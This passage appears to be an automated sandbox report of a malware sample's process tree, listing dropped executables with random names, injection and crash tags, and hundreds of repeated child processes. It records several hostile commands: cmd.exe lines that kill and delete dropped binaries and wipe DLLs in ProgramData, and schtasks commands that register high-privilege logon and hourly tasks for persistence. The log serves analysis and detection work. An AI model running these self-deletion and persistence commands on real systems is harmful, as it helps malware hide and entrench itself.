- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:20304
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:988
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18948
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18076
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18344
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:19620
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:19476
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:20364
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18820
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:8856
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:8216
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:19112
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:19428
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:19056
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:8260
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:19552
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:19328
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:19920
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:20528
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:20892
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21180
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21448
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:20760
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21164
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:15076
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:12440
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:20592
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21356
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21004
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21104
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21544
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21896
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:22096
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:22240
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:22516
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21996
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:22224
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21788
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21728
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11644
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:20468
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:21740
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:11348
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:22736
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:23196
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:20712
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:22900
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:23480
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:20980
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:23440
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:22896
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:23572
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:23908
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:24332
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:24548
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:24008
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:24248
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:24228
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:23876
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:23940
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:22000
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:24624
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:25040
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:25376
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:24152
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:24892
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:25572
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:25148
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:23396
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:25284
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:25868
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:26116
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:26336
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:13968
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:26088
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:18724
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:26612
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:25844
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:24300
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:14508
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:25112
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:24736
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:26952
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:27292
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:27620
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:22560
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:27432
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:25628
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:27072
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:25652
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:27352
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:26240
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:25792
- - C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    C:\Users\Admin\Documents\OkOjG1bRh6LHljnfdeWGrKxe.exe
    3⤵
    PID:27860
- C:\Users\Admin\Documents\xk3SX1x0YxijBx321OwFsvBF.exe
  "C:\Users\Admin\Documents\xk3SX1x0YxijBx321OwFsvBF.exe"
  2⤵
  - Executes dropped EXE
  PID:2292
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im xk3SX1x0YxijBx321OwFsvBF.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\xk3SX1x0YxijBx321OwFsvBF.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:8216
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im xk3SX1x0YxijBx321OwFsvBF.exe /f
      4⤵
      Kills process with taskkill
      PID:8220
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:19120
- C:\Users\Admin\Documents\jhXOPRUZpqoBXNAXzkZYE455.exe
  "C:\Users\Admin\Documents\jhXOPRUZpqoBXNAXzkZYE455.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:2248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5856
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5820
- C:\Users\Admin\Documents\v6xY61RAljK5FeclNHyRAQuy.exe
  "C:\Users\Admin\Documents\v6xY61RAljK5FeclNHyRAQuy.exe"
  2⤵
  - Executes dropped EXE
  PID:1644
- C:\Users\Admin\Documents\mQNZN2_QYhL0SydK06nNiYZD.exe
  "C:\Users\Admin\Documents\mQNZN2_QYhL0SydK06nNiYZD.exe"
  2⤵
  - Executes dropped EXE
  PID:4000
- C:\Users\Admin\Documents\MJ8dSahb62Cbj5gHY1kD8PF3.exe
  "C:\Users\Admin\Documents\MJ8dSahb62Cbj5gHY1kD8PF3.exe"
  2⤵
  - Executes dropped EXE
  PID:3960
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 668
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4684
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 704
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:4568
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 680
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:5420
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 696
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:5788
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 892
    3⤵
    - Program crash
    PID:5864
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 1080
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Program crash
    PID:5328
- C:\Users\Admin\Documents\ZHwwz4rvxtyjqAdmM34KP156.exe
  "C:\Users\Admin\Documents\ZHwwz4rvxtyjqAdmM34KP156.exe"
  2⤵
  - Executes dropped EXE
  PID:1816
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im ZHwwz4rvxtyjqAdmM34KP156.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\ZHwwz4rvxtyjqAdmM34KP156.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:8564
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im ZHwwz4rvxtyjqAdmM34KP156.exe /f
      4⤵
      Kills process with taskkill
      PID:9068
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:18300
- C:\Users\Admin\Documents\nK0cXd70Cjpye8f51l7b2vyH.exe
  "C:\Users\Admin\Documents\nK0cXd70Cjpye8f51l7b2vyH.exe"
  2⤵
  PID:3980
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "nK0cXd70Cjpye8f51l7b2vyH.exe" /f & erase "C:\Users\Admin\Documents\nK0cXd70Cjpye8f51l7b2vyH.exe" & exit
    3⤵
    PID:7224
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "nK0cXd70Cjpye8f51l7b2vyH.exe" /f
      4⤵
      Kills process with taskkill
      PID:4564
- C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
  "C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2356
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    - Executes dropped EXE
    PID:4920
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    - Executes dropped EXE
    PID:5052
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    - Executes dropped EXE
    PID:4768
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    - Executes dropped EXE
    PID:5128
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    - Executes dropped EXE
    PID:5348
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    - Executes dropped EXE
    PID:5680
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    - Executes dropped EXE
    PID:4384
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    - Executes dropped EXE
    PID:4268
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    - Executes dropped EXE
    PID:5644
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:2872
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:3896
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:4304
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:6360
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:6684
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:7016
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:6124
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:6772
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:6924
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:6564
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:4380
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:7228
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:7720
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8172
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:7952
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:7668
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8180
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8264
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8692
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:9036
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8372
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:9020
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
